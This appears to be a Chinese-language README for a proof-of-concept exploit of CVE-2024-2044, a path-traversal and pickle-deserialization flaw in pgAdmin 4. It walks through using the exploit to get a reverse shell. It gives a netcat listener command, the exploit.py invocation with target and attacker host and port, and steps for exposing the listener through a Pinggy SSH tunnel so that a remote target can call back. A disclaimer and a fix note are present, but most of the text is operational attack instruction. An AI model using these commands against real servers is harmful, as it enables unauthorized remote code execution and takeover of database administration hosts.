本仓库包含针对 CVE-2024-2044 的 Proof of Concept (PoC) 脚本,该漏洞是一个严重漏洞,结合了 认证后路径遍历 和 不安全反序列化,影响运行在 Linux/POSIX 环境下的 pgAdmin 4(8.3 及以下版本)。
[!WARNING] 免责声明: 本代码仅供教育、安全研究和授权的渗透测试(authorized pentesting)目的使用。未经书面许可,将本代码用于攻击目标是非法行为,违反法律。
在 Linux 环境下以服务器模式运行的 pgAdmin 4 中,会话管理以本地文件形式存储。漏洞产生的原因是 FileBackedSessionManager.get() 函数接收来自 HTTP cookie pga4_session 的值,并使用 os.path.join 将其拼接到目录路径中,而未对路径操纵字符(../)进行清理。
本 PoC 脚本通过以下流程利用该漏洞:
pickle 对象。该文件存储在用户存储目录下(例如:/storage/nama_user/)。pga4_session cookie 操纵为指向已上传 pickle 文件的相对路径(例如:../storage/nama_user/file.pickle!),向 /login 发送 HTTP 请求。! 符号用于匹配 pgAdmin 4 中会话文件扩展名的查找方式。pickle.loads() 进行处理。结果,payload 执行一个独立的(detached)Python 进程,向攻击者抛出 Reverse Shell。requests 库。nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
如果您的机器位于 NAT/路由器之后并需要公共 tunnelling,您可以按照以下步骤使用 Pinggy.io 服务:
首先在本地机器上使用您选择的端口(例如端口 1337)启动 nc:
nc -lvnp 1337
打开一个新终端,然后运行 Pinggy SSH 命令。确保末尾的本地端口(1337)与您之前启动的 nc 端口一致:
ssh -p 443 -R0:localhost:1337 [email protected]
连接后,Pinggy 将提供一个公共 TCP URL,例如:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

注意:从 Pinggy 获得的公共端口是 43143(这将作为 -lport)。
目标 pgAdmin 4 服务器需要真实 IP 地址格式才能进行 reverse shell socket 连接。对您的 Pinggy URL 域名执行 nslookup:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
输出将显示 Pinggy 服务器的公共 IP(选择最上方 Address 部分的 IPv4):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
从上述输出中,获得 Pinggy 的真实 IP:172.236.148.125。

运行 PoC 脚本,将 nslookup 得到的 IP 作为 -lhost,将 Pinggy 的公共端口作为 -lport:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : pgAdmin 4 目标 URL(必填)。-u, --username: 登录邮箱/用户名(默认:[email protected])。-p, --password: 登录密码(默认:player123)。-lhost : 攻击者 IP 地址 / Pinggy nslookup 结果 IP(必填)。-lport : 攻击者监听端口 / Pinggy 公共端口(必填)。该漏洞已在 pgAdmin 4 版本 8.4 中修复。如果您管理着易受攻击的服务器,请立即采取以下措施: